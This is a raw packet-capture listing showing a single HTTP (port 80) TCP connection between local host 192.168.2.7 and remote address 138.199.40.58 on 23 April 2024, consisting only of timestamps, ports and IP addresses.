Apr 23, 2024 08:39:59.213342905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213355064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213366032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213366032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213412046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213421106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213421106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213423967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213478088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213522911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213545084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213566065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213587999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213618994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213655949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213700056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213700056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213713884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213726044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213738918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213738918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213762045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213762999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213785887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213810921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213819027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213850021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213885069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216263056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216320038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216566086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216586113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216645956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216650963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216664076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216681004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216698885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216701984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216717005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216749907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216773033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216782093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216787100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216861963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216878891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216897011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.216902018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.216947079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217040062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217055082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217067003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217078924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217091084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217097044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217103004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217114925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217122078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217127085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217138052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217144966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217149019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217161894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217164993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217174053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217185974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217192888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217197895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217210054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217222929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217255116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217257023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217263937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217267990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217300892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217313051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217319012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217324972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217367887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217386007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217406034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217423916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217452049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217499971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217513084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217520952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217554092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217566967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217585087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217592001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217602015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217613935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217626095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217742920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217756033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217757940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217767954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217787027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217794895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217814922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217835903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217884064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217899084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217911959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.217947960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.217957020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.218041897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.218055010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.218067884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.218090057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.218099117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.218117952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222064018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222090006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222121954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222198963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222242117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222261906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222358942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222373962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222398996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222418070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222434998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222436905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222562075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222698927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222733021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222745895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222752094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222783089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222795963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222819090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.222954988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.222969055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223006964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223011017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223020077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223071098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223093033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223242998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223294973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223314047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223424911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223437071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223450899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223463058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223469973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223572969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223588943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223602057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223650932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223654985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223668098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223731041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223763943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223815918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223838091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223908901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223974943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.223985910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.223989010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224039078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224051952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224060059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224081993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224107981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224185944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224236965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224260092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224392891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224426985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224446058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224478960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224528074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224540949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224549055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224551916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224570036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224575043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224618912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224632025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224634886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224644899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224658012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224670887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224675894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224694967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224715948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224737883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224757910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224761963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224786997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224806070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224819899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224869013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.224935055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224970102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224983931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.224997044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225004911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225009918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225045919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225070953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225121975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225141048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225147963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225276947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225298882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225331068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225408077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225476027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225506067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225549936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225554943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225563049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225615978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225629091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225636005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225656986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225702047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225724936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225737095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225749016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225754976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225771904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225794077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225826025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225837946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225867033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225876093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225878954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225892067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225909948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225924969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.225945950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.225945950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226012945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226023912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226070881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226104975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226110935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226178885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226216078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226298094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226376057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226388931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226455927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226464033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226469040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226481915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226492882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226512909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226546049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226547956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226591110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226602077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226608992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226624012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226639032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226690054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226751089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226773024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226830006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226867914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226880074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226887941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.226917982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.226938963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227045059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227057934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227086067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227097988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227116108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227138996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227160931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227211952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227235079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227248907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227312088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227334023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227366924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227420092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227492094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227652073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227735996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227755070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227787971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227802038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227813959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227821112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227827072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227844000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227852106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227864981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227886915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.227930069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227940083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.227952003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228059053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228096962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228122950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228142023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228153944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228167057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228177071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228241920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228243113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228343964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228358984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228394985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228414059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228435993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228437901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228538036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228661060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228662968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228677034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228745937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228765011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228797913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228844881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228864908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228876114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228940964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.228956938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.228990078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229036093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229051113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229192972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229253054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229273081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229295969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229319096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229348898 CEST	80	49705	138.199.40.58	192.168.2.7
